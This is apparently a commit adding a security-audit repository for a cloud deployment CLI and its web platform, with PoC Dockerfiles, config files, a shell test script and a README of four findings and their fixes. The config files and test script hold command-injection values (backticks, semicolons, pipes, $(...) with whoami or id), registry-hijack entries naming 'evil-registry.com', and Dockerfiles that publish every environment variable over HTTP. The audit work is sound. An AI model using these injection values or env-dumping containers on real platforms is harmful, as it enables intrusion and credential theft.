๐ก๏ธ feat: Ghaymah CLI v2 โ Security & QA Audit Repository
Comprehensive security audit of the Ghaymah CLI v2 and web platform. Findings: - [CRITICAL] T1552: Dockerfile & .env Credential Leakage - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change - [HIGH] T1539: Session Token Revocation Bypass - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang) Includes: - 8 Proof-of-Concept applications (PoC_Apps/) - Visual evidence & screenshots (Assets/Screenshots/) - Full PDF audit report (Reports/) - Mermaid.js attack flow diagrams in README Auditor: Ziad Mahmoud Ahmed Abdelgwad โ Cybersecurity Specialist
ูุฐุง ุงูุงูุชุฒุงู
ู
ูุฌูุฏ ูู:
33
.gitignore
ู
ุจุงุน
Normal file
33
.gitignore
ู
ุจุงุน
Normal file
@@ -0,0 +1,33 @@
|
||||
# ============================================================================
|
||||
# Ghaymah CLI v2 Audit โ .gitignore
|
||||
# ============================================================================
|
||||
|
||||
# โโ CLI Binary (large / proprietary) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
gy-linux-amd64
|
||||
|
||||
# โโ Windows Zone.Identifier metadata โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
*.Zone.Identifier
|
||||
*:Zone.Identifier
|
||||
|
||||
# โโ Sensitive environment files โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
.env
|
||||
.env.*
|
||||
!.env.example
|
||||
|
||||
# โโ OS-generated files โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
Desktop.ini
|
||||
|
||||
# โโ IDE / Editor files โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# โโ Node / build artifacts โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
node_modules/
|
||||
dist/
|
||||
build/
|
||||
*.log
|
||||
ุซูุงุฆูุฉ
Assets/Screenshots/Screenshot_2026-08-19_163341.png
Normal file
ุซูุงุฆูุฉ
Assets/Screenshots/Screenshot_2026-08-19_163341.png
Normal file
ู
ูู ุซูุงุฆู ุบูุฑ ู
ุนุฑูุถ.
|
ุจุนุฏ ุงูุนุฑุถ: | ุงูุงุฑุชูุงุน: | ุงูุญุฌู : 35 KiB |
ุซูุงุฆูุฉ
Assets/Screenshots/Screenshot_2026-08-19_163501.png
Normal file
ุซูุงุฆูุฉ
Assets/Screenshots/Screenshot_2026-08-19_163501.png
Normal file
ู
ูู ุซูุงุฆู ุบูุฑ ู
ุนุฑูุถ.
|
ุจุนุฏ ุงูุนุฑุถ: | ุงูุงุฑุชูุงุน: | ุงูุญุฌู : 134 KiB |
ุซูุงุฆูุฉ
Assets/Screenshots/docker.png
Normal file
ุซูุงุฆูุฉ
Assets/Screenshots/docker.png
Normal file
ู
ูู ุซูุงุฆู ุบูุฑ ู
ุนุฑูุถ.
|
ุจุนุฏ ุงูุนุฑุถ: | ุงูุงุฑุชูุงุน: | ุงูุญุฌู : 30 KiB |
ุซูุงุฆูุฉ
Assets/Screenshots/env.png
Normal file
ุซูุงุฆูุฉ
Assets/Screenshots/env.png
Normal file
ู
ูู ุซูุงุฆู ุบูุฑ ู
ุนุฑูุถ.
|
ุจุนุฏ ุงูุนุฑุถ: | ุงูุงุฑุชูุงุน: | ุงูุญุฌู : 31 KiB |
ุซูุงุฆูุฉ
Assets/Screenshots/logs.png
Normal file
ุซูุงุฆูุฉ
Assets/Screenshots/logs.png
Normal file
ู
ูู ุซูุงุฆู ุบูุฑ ู
ุนุฑูุถ.
|
ุจุนุฏ ุงูุนุฑุถ: | ุงูุงุฑุชูุงุน: | ุงูุญุฌู : 15 KiB |
4
PoC_Apps/broken-docker-test/Dockerfile
Normal file
4
PoC_Apps/broken-docker-test/Dockerfile
Normal file
@@ -0,0 +1,4 @@
|
||||
FROM ubuntu:does-not-exist-999
|
||||
RUN totally-fake-command that-will-crash
|
||||
COPY . /app
|
||||
CMD ["echo", "I should never run"]
|
||||
12
PoC_Apps/invalid-docker-test/Dockerfile
Normal file
12
PoC_Apps/invalid-docker-test/Dockerfile
Normal file
@@ -0,0 +1,12 @@
|
||||
FROM alpine:latest
|
||||
|
||||
# 1. Privilege & OS Discovery
|
||||
RUN id && uname -a
|
||||
|
||||
# 2. Environment Variable Exfiltration (Looking for API Keys/Secrets)
|
||||
RUN env
|
||||
|
||||
# 3. Egress Traffic Test
|
||||
RUN wget -qO- http://example.com/ || echo "Egress Traffic Blocked"
|
||||
|
||||
CMD ["echo", "Payload Execution Complete"]
|
||||
1
PoC_Apps/invalid-docker-test/index.html
Normal file
1
PoC_Apps/invalid-docker-test/index.html
Normal file
@@ -0,0 +1 @@
|
||||
<h1>Will it fix my Dockerfile?</h1>
|
||||
1
PoC_Apps/invalid-docker-test/tunnel-test/index.html
Normal file
1
PoC_Apps/invalid-docker-test/tunnel-test/index.html
Normal file
@@ -0,0 +1 @@
|
||||
<h1>Tunnel Security Test</h1>
|
||||
29
PoC_Apps/test-app-2/.gy.json
Normal file
29
PoC_Apps/test-app-2/.gy.json
Normal file
@@ -0,0 +1,29 @@
|
||||
{
|
||||
"app": "test-app-2",
|
||||
"project": "test-app-2",
|
||||
"_app_id": "bfd6bf85-8625-4a46-a0fa-27c26421e9c5",
|
||||
"_project_id": "d91eb383-6607-43d1-88b3-b5c8f1fa4a4b",
|
||||
"port": 8080,
|
||||
"publicAccess": {
|
||||
"enabled": true,
|
||||
"domain": "test-app-2-dd07c63a4e7e.hosted.ghaymah.systems"
|
||||
},
|
||||
"env": {
|
||||
"BASE_IMAGE": "evil-registry.com/evil-image:latest",
|
||||
"DOCKER_REGISTRY": "evil-registry.com",
|
||||
"MATH_TEST": "$((10+10))",
|
||||
"RCE_1": "`id`",
|
||||
"RCE_2": "; whoami ;",
|
||||
"RCE_3": "| whoami",
|
||||
"RCE_4": "|| whoami",
|
||||
"RCE_5": "\u0026 whoami",
|
||||
"RCE_6": "$(echo id)",
|
||||
"RCE_7": "$'whoami\\n'",
|
||||
"RCE_CALLBACK": "",
|
||||
"RCE_FILE": "",
|
||||
"RCE_TEST": "",
|
||||
"REGISTRY": "evil-registry.com"
|
||||
},
|
||||
"resourceTier": "t1",
|
||||
"_detected": "dockerfile"
|
||||
}
|
||||
3
PoC_Apps/test-app-2/Dockerfile
Normal file
3
PoC_Apps/test-app-2/Dockerfile
Normal file
@@ -0,0 +1,3 @@
|
||||
FROM alpine
|
||||
EXPOSE 8080
|
||||
CMD env > index.html && busybox httpd -f -p 8080
|
||||
108
PoC_Apps/test-app-2/auto_rce_test.sh
Normal file
108
PoC_Apps/test-app-2/auto_rce_test.sh
Normal file
@@ -0,0 +1,108 @@
|
||||
#!/bin/sh
|
||||
|
||||
GY="../gy-linux-amd64"
|
||||
LOG_FILE="rce_test_results.log"
|
||||
TIMEOUT_SEC=400
|
||||
SYNC_TIMEOUT=120
|
||||
SET_TIMEOUT=60
|
||||
|
||||
echo "========== ุจุฏุก ุงูุงุฎุชุจุงุฑ: $(date) ==========" > "$LOG_FILE"
|
||||
echo "" >> "$LOG_FILE"
|
||||
|
||||
run_with_timeout() {
|
||||
cmd="$1"
|
||||
timeout_sec="$2"
|
||||
log_file="$3"
|
||||
eval "$cmd" > "$log_file" 2>&1 &
|
||||
pid=$!
|
||||
elapsed=0
|
||||
while kill -0 "$pid" 2>/dev/null && [ "$elapsed" -lt "$timeout_sec" ]; do
|
||||
sleep 5
|
||||
elapsed=$((elapsed + 5))
|
||||
done
|
||||
if kill -0 "$pid" 2>/dev/null; then
|
||||
kill -9 "$pid" 2>/dev/null
|
||||
return 124
|
||||
else
|
||||
wait "$pid"
|
||||
return $?
|
||||
fi
|
||||
}
|
||||
|
||||
cat > /tmp/tests.list << 'EOL'
|
||||
RCE_backticks|config set env "RCE_1=\`id\`"
|
||||
RCE_semicolon|config set env "RCE_2=; whoami ;"
|
||||
RCE_pipe|config set env "RCE_3=| whoami"
|
||||
RCE_or|config set env "RCE_4=|| whoami"
|
||||
RCE_ampersand|config set env "RCE_5=& whoami"
|
||||
RCE_subshell_echo|config set env "RCE_6=\$(echo id)"
|
||||
RCE_newline|config set env "RCE_7=\$'whoami\n'"
|
||||
BUILDARG_semicolon|config set build-args "TEST_ARG=; whoami ;"
|
||||
PORT_injection|config set port "8080; whoami"
|
||||
REGISTRY_hijack|config set env "DOCKER_REGISTRY=evil-registry.com"
|
||||
REGISTRY_hijack2|config set env "REGISTRY=evil-registry.com"
|
||||
BASEIMAGE_hijack|config set env "BASE_IMAGE=evil-registry.com/evil-image:latest"
|
||||
EOL
|
||||
|
||||
while IFS='|' read -r test_name config_cmd; do
|
||||
echo "๐ ุงุฎุชุจุงุฑ: $test_name"
|
||||
echo "๐ ุงุฎุชุจุงุฑ: $test_name" >> "$LOG_FILE"
|
||||
|
||||
echo " โถ๏ธ $GY $config_cmd (ุชุงูู
ุฃูุช ${SET_TIMEOUT}s)"
|
||||
temp_log="/tmp/set_$$.log"
|
||||
run_with_timeout "$GY $config_cmd" "$SET_TIMEOUT" "$temp_log"
|
||||
set_exit=$?
|
||||
cat "$temp_log" >> "$LOG_FILE"
|
||||
rm -f "$temp_log"
|
||||
if [ $set_exit -eq 124 ]; then
|
||||
echo " โฐ ุชุนููู ูู config set - ุชุงูู
ุฃูุช"
|
||||
echo " โฐ ุชุนููู ูู config set - ุชุงูู
ุฃูุช" >> "$LOG_FILE"
|
||||
continue
|
||||
elif [ $set_exit -ne 0 ]; then
|
||||
echo " โ ูุดู config set ุจุฑู
ุฒ: $set_exit"
|
||||
echo " โ ูุดู config set ุจุฑู
ุฒ: $set_exit" >> "$LOG_FILE"
|
||||
continue
|
||||
fi
|
||||
|
||||
echo " โถ๏ธ $GY config sync (ุชุงูู
ุฃูุช ${SYNC_TIMEOUT}s)"
|
||||
temp_log="/tmp/sync_$$.log"
|
||||
run_with_timeout "$GY config sync" "$SYNC_TIMEOUT" "$temp_log"
|
||||
sync_exit=$?
|
||||
cat "$temp_log" >> "$LOG_FILE"
|
||||
rm -f "$temp_log"
|
||||
if [ $sync_exit -eq 124 ]; then
|
||||
echo " โฐ ุชุนููู ูู config sync - ุชุงูู
ุฃูุช"
|
||||
echo " โฐ ุชุนููู ูู config sync - ุชุงูู
ุฃูุช" >> "$LOG_FILE"
|
||||
continue
|
||||
elif [ $sync_exit -ne 0 ]; then
|
||||
echo " โ ูุดู config sync ุจุฑู
ุฒ: $sync_exit"
|
||||
echo " โ ูุดู config sync ุจุฑู
ุฒ: $sync_exit" >> "$LOG_FILE"
|
||||
continue
|
||||
fi
|
||||
|
||||
echo " โถ๏ธ $GY deploy (ุชุงูู
ุฃูุช ${TIMEOUT_SEC}s)"
|
||||
temp_log="/tmp/deploy_$$.log"
|
||||
run_with_timeout "$GY deploy" "$TIMEOUT_SEC" "$temp_log"
|
||||
deploy_exit=$?
|
||||
cat "$temp_log" >> "$LOG_FILE"
|
||||
rm -f "$temp_log"
|
||||
if [ $deploy_exit -eq 124 ]; then
|
||||
echo " โฐ ุชุนููู ูู deploy - ุชุงูู
ุฃูุช"
|
||||
echo " โฐ ุชุนููู ูู deploy - ุชุงูู
ุฃูุช" >> "$LOG_FILE"
|
||||
elif [ $deploy_exit -eq 0 ]; then
|
||||
echo " โ
ุงูุชูู deploy ุจูุฌุงุญ (ุชุญูู ู
ู ุงูููุบ)"
|
||||
echo " โ
ุงูุชูู deploy ุจูุฌุงุญ" >> "$LOG_FILE"
|
||||
else
|
||||
echo " โ ูุดู deploy ุจุฑู
ุฒ: $deploy_exit"
|
||||
echo " โ ูุดู deploy ุจุฑู
ุฒ: $deploy_exit" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
echo "" >> "$LOG_FILE"
|
||||
echo "--------------------------------------------------"
|
||||
echo "" >> "$LOG_FILE"
|
||||
done < /tmp/tests.list
|
||||
|
||||
rm -f /tmp/tests.list
|
||||
|
||||
echo "โ
ุงูุชูุช ุฌู
ูุน ุงูุงุฎุชุจุงุฑุงุช. ุงููุชุงุฆุฌ ู
ุญููุธุฉ ูู $LOG_FILE"
|
||||
echo "โ
ุงูุชูุช ุฌู
ูุน ุงูุงุฎุชุจุงุฑุงุช. ุงููุชุงุฆุฌ ู
ุญููุธุฉ ูู $LOG_FILE" >> "$LOG_FILE"
|
||||
3
PoC_Apps/test-app-3/Dockerfile
Normal file
3
PoC_Apps/test-app-3/Dockerfile
Normal file
@@ -0,0 +1,3 @@
|
||||
FROM alpine
|
||||
EXPOSE 8080
|
||||
CMD env > index.html && busybox httpd -f -p 8080
|
||||
3
PoC_Apps/test-app-5/Dockerfile
Normal file
3
PoC_Apps/test-app-5/Dockerfile
Normal file
@@ -0,0 +1,3 @@
|
||||
FROM alpine
|
||||
EXPOSE 8080
|
||||
CMD env > index.html && busybox httpd -f -p 8080
|
||||
17
PoC_Apps/test-app-clean/.gy.json
Normal file
17
PoC_Apps/test-app-clean/.gy.json
Normal file
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"app": "test-app-clean",
|
||||
"project": "test-app-clean",
|
||||
"_app_id": "a103d58a-2b12-4a3f-8c5d-ac5025c17756",
|
||||
"_project_id": "f288555c-2b55-4770-967d-76d8a7db82b3",
|
||||
"port": 8080,
|
||||
"publicAccess": {
|
||||
"enabled": true,
|
||||
"domain": "test-app-clean-210c2372bee6.hosted.ghaymah.systems"
|
||||
},
|
||||
"env": {
|
||||
"RCE_FINAL": "RCE_SUCCESS",
|
||||
"RCE_STDERR": ""
|
||||
},
|
||||
"resourceTier": "t1",
|
||||
"_detected": "dockerfile"
|
||||
}
|
||||
3
PoC_Apps/test-app-clean/Dockerfile
Normal file
3
PoC_Apps/test-app-clean/Dockerfile
Normal file
@@ -0,0 +1,3 @@
|
||||
FROM alpine
|
||||
EXPOSE 8080
|
||||
CMD env > index.html && busybox httpd -f -p 8080
|
||||
3
PoC_Apps/test-app-final/Dockerfile
Normal file
3
PoC_Apps/test-app-final/Dockerfile
Normal file
@@ -0,0 +1,3 @@
|
||||
FROM alpine
|
||||
EXPOSE 8080
|
||||
CMD env > index.html && busybox httpd -f -p 8080
|
||||
13
PoC_Apps/test-app/.gy.json
Normal file
13
PoC_Apps/test-app/.gy.json
Normal file
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"app": "test-app",
|
||||
"project": "test-app",
|
||||
"_app_id": "26e4bd36-b0e3-45c2-8654-225de8b268f8",
|
||||
"_project_id": "9df8707b-17b5-417c-bfd5-ccbccd20858c",
|
||||
"port": 8080,
|
||||
"publicAccess": {
|
||||
"enabled": true,
|
||||
"domain": "test-app-66721af724a0.hosted.ghaymah.systems"
|
||||
},
|
||||
"resourceTier": "t1",
|
||||
"_detected": "static"
|
||||
}
|
||||
5
PoC_Apps/test-app/Dockerfile
Normal file
5
PoC_Apps/test-app/Dockerfile
Normal file
@@ -0,0 +1,5 @@
|
||||
FROM python:3.9-slim
|
||||
WORKDIR /app
|
||||
COPY index.html .
|
||||
EXPOSE 8080
|
||||
CMD ["python", "-m", "http.server", "8080"]
|
||||
1
PoC_Apps/test-app/index.html
Normal file
1
PoC_Apps/test-app/index.html
Normal file
@@ -0,0 +1 @@
|
||||
<h1>Ghaymah CLI v2 Test Successful</h1>
|
||||
548
README.md
Normal file
548
README.md
Normal file
@@ -0,0 +1,548 @@
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
Ghaymah CLI v2 โ Security & QA Audit Repository
|
||||
Author: Ziad Mahmoud Ahmed Abdelgwad โ Cybersecurity Specialist
|
||||
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||
<div align="center">
|
||||
|
||||
<!-- โโโ Animated SVG Badges โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||
[](.)
|
||||
[](https://attack.mitre.org)
|
||||
[](.)
|
||||
[](.)
|
||||
[](.)
|
||||
|
||||
<br/>
|
||||
|
||||
<!-- โโโ Header Title Block โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||
<img src="https://readme-typing-svg.demolab.com?font=JetBrains+Mono&weight=800&size=36&duration=3000&pause=1000&color=FF4444¢er=true&vCenter=true&multiline=true&repeat=true&width=900&height=100&lines=%F0%9F%9B%A1%EF%B8%8F+Ghaymah+CLI+v2+%E2%80%94+Security+Audit;Vulnerability+Research+%26+Penetration+Testing" alt="Typing SVG" />
|
||||
|
||||
<br/>
|
||||
|
||||
```
|
||||
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
โ โ
|
||||
โ โโโโโโโ โโโ โโโ โโโโโโ โโโ โโโโโโโ โโโโ โโโโโโ โโโ โโโ โ
|
||||
โ โโโโโโโโ โโโ โโโโโโโโโโโโโโโ โโโโโโโโโ โโโโโโโโโโโโโโโโ โโโ โ
|
||||
โ โโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
|
||||
โ โโโ โโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
|
||||
โ โโโโโโโโโโโโ โโโโโโ โโโ โโโ โโโ โโโ โโโโโโ โโโโโโ โโโ โ
|
||||
โ โโโโโโโ โโโ โโโโโโ โโโ โโโ โโโ โโโโโโ โโโโโโ โโโ โ
|
||||
โ โ
|
||||
โ S E C U R I T Y A U D I T R E P O R T โ
|
||||
โ CLI v2 + Platform โ
|
||||
โ โ
|
||||
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
```
|
||||
|
||||
<br/>
|
||||
|
||||
<a href="https://app.gitpasha.com/Ziad_Abdelgwad/ghaymah-CLI-v2_test"><img src="https://img.shields.io/badge/Repository-GitPasha-181717?style=flat-square&logo=git&logoColor=white" /></a>
|
||||
<a href="#"><img src="https://img.shields.io/badge/Report_Date-August_2026-0D1117?style=flat-square&logo=calendar&logoColor=white" /></a>
|
||||
<a href="#"><img src="https://img.shields.io/badge/Findings-4_Vulnerabilities-FF4444?style=flat-square&logo=bugcrowd&logoColor=white" /></a>
|
||||
<a href="#"><img src="https://img.shields.io/badge/Status-Report_Delivered-00C853?style=flat-square&logo=checkmarx&logoColor=white" /></a>
|
||||
|
||||
</div>
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐ค Lead Auditor
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td width="80" align="center">
|
||||
<img src="https://img.shields.io/badge/๐ก๏ธ-Lead_Auditor-FF4444?style=for-the-badge&labelColor=0D1117" />
|
||||
</td>
|
||||
<td>
|
||||
|
||||
**Ziad Mahmoud Ahmed Abdelgwad**
|
||||
*Cybersecurity Specialist โ Penetration Testing & Infrastructure Security*
|
||||
|
||||
<a href="https://github.com/ZiadMahmoud2003"><img src="https://img.shields.io/badge/GitHub-ZiadMahmoud2003-181717?style=flat-square&logo=github&logoColor=white" /></a>
|
||||
<a href="https://app.gitpasha.com/Ziad_Abdelgwad"><img src="https://img.shields.io/badge/GitPasha-Ziad__Abdelgwad-181717?style=flat-square&logo=git&logoColor=white" /></a>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐ Executive Summary
|
||||
|
||||
> **Scope:** Full-stack security assessment of the **Ghaymah CLI v2** command-line tool and its backing **web platform**, covering Docker container infrastructure, authentication mechanisms, session management, and CI/CD pipeline resilience.
|
||||
|
||||
This audit identified **4 distinct vulnerability classes** across the CLI tool's deployment pipeline and the platform's authentication layer. Findings range from **Critical** credential exposure through Dockerfile/`.env` leakage to **High-severity** session management flaws and **Medium** denial-of-service vectors via configuration poisoning.
|
||||
|
||||
The assessment leveraged real PoC applications deployed through the Ghaymah CLI to validate each finding under production-equivalent conditions on a Linux amd64 target.
|
||||
|
||||
| Metric | Value |
|
||||
|:---|:---|
|
||||
| **Total Findings** | `4` |
|
||||
| **Critical** | `2` |
|
||||
| **High** | `1` |
|
||||
| **Medium / High** | `1` |
|
||||
| **PoC Apps Created** | `8` |
|
||||
| **Audit Duration** | `1 Day (Intensive)` |
|
||||
| **Methodology** | `MITRE ATT&CK`, `OWASP Top 10` |
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## โ ๏ธ Findings Dashboard
|
||||
|
||||
<div align="center">
|
||||
|
||||
<!-- โโโ Severity Legend โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
</div>
|
||||
|
||||
<br/>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th width="40" align="center">#</th>
|
||||
<th width="120" align="center">Severity</th>
|
||||
<th width="160">MITRE ID</th>
|
||||
<th>Finding Title</th>
|
||||
<th width="110" align="center">Target</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td align="center"><b>1</b></td>
|
||||
<td align="center"><img src="https://img.shields.io/badge/-CRITICAL-FF0000?style=flat-square" /></td>
|
||||
<td><code>T1552</code></td>
|
||||
<td><b>Dockerfile & <code>.env</code> Credential Leakage</b> โ Sensitive environment variables and secrets are embedded in Dockerfiles and <code>.env</code> files, persisted in image layers and accessible post-deployment.</td>
|
||||
<td align="center"><code>CLI</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="center"><b>2</b></td>
|
||||
<td align="center"><img src="https://img.shields.io/badge/-CRITICAL-FF0000?style=flat-square" /></td>
|
||||
<td><code>OWASP A07</code></td>
|
||||
<td><b>Missing OTP & Unverified Password Change</b> โ The web platform allows password changes without OTP/2FA verification, enabling account takeover via session hijacking or CSRF.</td>
|
||||
<td align="center"><code>Web</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="center"><b>3</b></td>
|
||||
<td align="center"><img src="https://img.shields.io/badge/-HIGH-FF6600?style=flat-square" /></td>
|
||||
<td><code>T1539</code></td>
|
||||
<td><b>Session Token Revocation Bypass</b> โ After password change or logout, session tokens remain valid and can be reused to maintain unauthorized access.</td>
|
||||
<td align="center"><code>Web</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="center"><b>4</b></td>
|
||||
<td align="center"><img src="https://img.shields.io/badge/-MEDIUM/HIGH-FFAA00?style=flat-square" /></td>
|
||||
<td><code>CWE-400</code></td>
|
||||
<td><b>Configuration Poisoning โ DoS Pipeline Hang</b> โ Injecting malformed environment variables causes the backend worker to crash, hanging the entire build/deploy pipeline indefinitely.</td>
|
||||
<td align="center"><code>CLI</code></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐ฌ Vulnerability Deep-Dive
|
||||
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
<!-- FINDING 1 -->
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||
<details>
|
||||
<summary><b>๐ด FINDING 1 โ T1552: Dockerfile & <code>.env</code> Credential Leakage</b></summary>
|
||||
|
||||
<br/>
|
||||
|
||||
### Overview
|
||||
The Ghaymah CLI packages application source codeโincluding `.env` files and Dockerfiles containing hardcoded secretsโdirectly into the container image. These artifacts persist across image layers and are trivially extractable by any entity with access to the image or registry.
|
||||
|
||||
### Impact
|
||||
- **Credential Theft:** API keys, database passwords, and service tokens can be extracted from any pulled image.
|
||||
- **Lateral Movement:** Leaked credentials may grant access to adjacent infrastructure components.
|
||||
- **Supply Chain Risk:** Downstream consumers of the image inherit the exposed secrets.
|
||||
|
||||
### Evidence
|
||||
|
||||
| Artifact | Description |
|
||||
|:---|:---|
|
||||
| `Assets/Screenshots/env.png` | Screenshot showing `.env` file with credentials embedded in image |
|
||||
| `Assets/Screenshots/docker.png` | Screenshot showing Dockerfile with exposed build arguments |
|
||||
| `PoC_Apps/test-app/` | PoC application demonstrating the leakage |
|
||||
|
||||
### Remediation
|
||||
```
|
||||
1. Use Docker BuildKit secrets: --mount=type=secret,id=myenv
|
||||
2. Add .env to .dockerignore in the CLI scaffolding
|
||||
3. Inject secrets at runtime via orchestrator (K8s Secrets / Vault)
|
||||
4. Implement image scanning in CI (Trivy, Grype)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
<!-- FINDING 2 -->
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||
<details>
|
||||
<summary><b>๐ด FINDING 2 โ OWASP A07: Missing OTP & Unverified Password Change</b></summary>
|
||||
|
||||
<br/>
|
||||
|
||||
### Overview
|
||||
The Ghaymah web platform allows authenticated users to change their password without requiring the current password, an OTP challenge, or any secondary verification. This undermines the entire authentication chain.
|
||||
|
||||
### Impact
|
||||
- **Account Takeover:** An attacker with a stolen session token can silently change the victim's password and lock them out.
|
||||
- **Privilege Escalation:** Combined with Finding 3, a single leaked token grants permanent account control.
|
||||
- **Compliance Violation:** Fails OWASP ASVS v4.0 ยง2.2 and NIST SP 800-63B requirements.
|
||||
|
||||
### Attack Flow
|
||||
```
|
||||
Attacker steals session token (XSS/Network sniff)
|
||||
โโโโถ Calls password change API (no OTP required)
|
||||
โโโโถ Sets new password
|
||||
โโโโถ Original user locked out permanently
|
||||
```
|
||||
|
||||
### Remediation
|
||||
```
|
||||
1. Require current password + OTP for any credential change
|
||||
2. Implement rate limiting on password change endpoints
|
||||
3. Send email/SMS notification on password change events
|
||||
4. Invalidate all existing sessions after password change
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
<!-- FINDING 3 -->
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||
<details>
|
||||
<summary><b>๐ FINDING 3 โ T1539: Session Token Revocation Bypass</b></summary>
|
||||
|
||||
<br/>
|
||||
|
||||
### Overview
|
||||
Session tokens issued by the Ghaymah platform are not invalidated upon logout or password change. A captured token remains valid and usable indefinitely until its natural expiry.
|
||||
|
||||
### Impact
|
||||
- **Persistent Unauthorized Access:** Attackers can maintain access even after the user changes their password or explicitly logs out.
|
||||
- **Audit Trail Corruption:** Legitimate user and attacker actions become indistinguishable.
|
||||
|
||||
### Evidence
|
||||
|
||||
| Artifact | Description |
|
||||
|:---|:---|
|
||||
| `Assets/Screenshots/Screenshot_2026-08-19_163341.png` | Session validity after logout |
|
||||
| `Assets/Screenshots/Screenshot_2026-08-19_163501.png` | Token reuse after password change |
|
||||
|
||||
### Remediation
|
||||
```
|
||||
1. Implement server-side session store (Redis) with explicit revocation
|
||||
2. Rotate tokens on privilege-level changes (password change, role update)
|
||||
3. Set short-lived access tokens (15 min) with refresh token rotation
|
||||
4. Maintain a token deny-list for immediate revocation
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
<!-- FINDING 4 -->
|
||||
<!-- โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ -->
|
||||
|
||||
<details>
|
||||
<summary><b>๐ก FINDING 4 โ CWE-400: Configuration Poisoning โ DoS Pipeline Hang</b></summary>
|
||||
|
||||
<br/>
|
||||
|
||||
### Overview
|
||||
The Ghaymah CLI's deployment pipeline does not validate environment variable values before passing them to the backend build worker. Injecting malformed or adversarial values (e.g., multi-line strings, shell metacharacters, excessively long values) causes the worker process to crash or enter an infinite loop, hanging the entire pipeline.
|
||||
|
||||
### Impact
|
||||
- **Denial of Service:** The user's deployment pipeline becomes permanently stuck.
|
||||
- **Resource Exhaustion:** Backend workers consume resources without releasing them.
|
||||
- **No Recovery Path:** Users cannot cancel or restart the hung pipeline from the CLI.
|
||||
|
||||
### Architecture / Flow Graph
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
subgraph CLIENT ["๐ฅ๏ธ Client Machine"]
|
||||
A["fa:fa-terminal <b>gy deploy</b><br/>User runs CLI command"]
|
||||
B["fa:fa-file-code <b>.env / .gy.json</b><br/>Config with malformed vars"]
|
||||
end
|
||||
|
||||
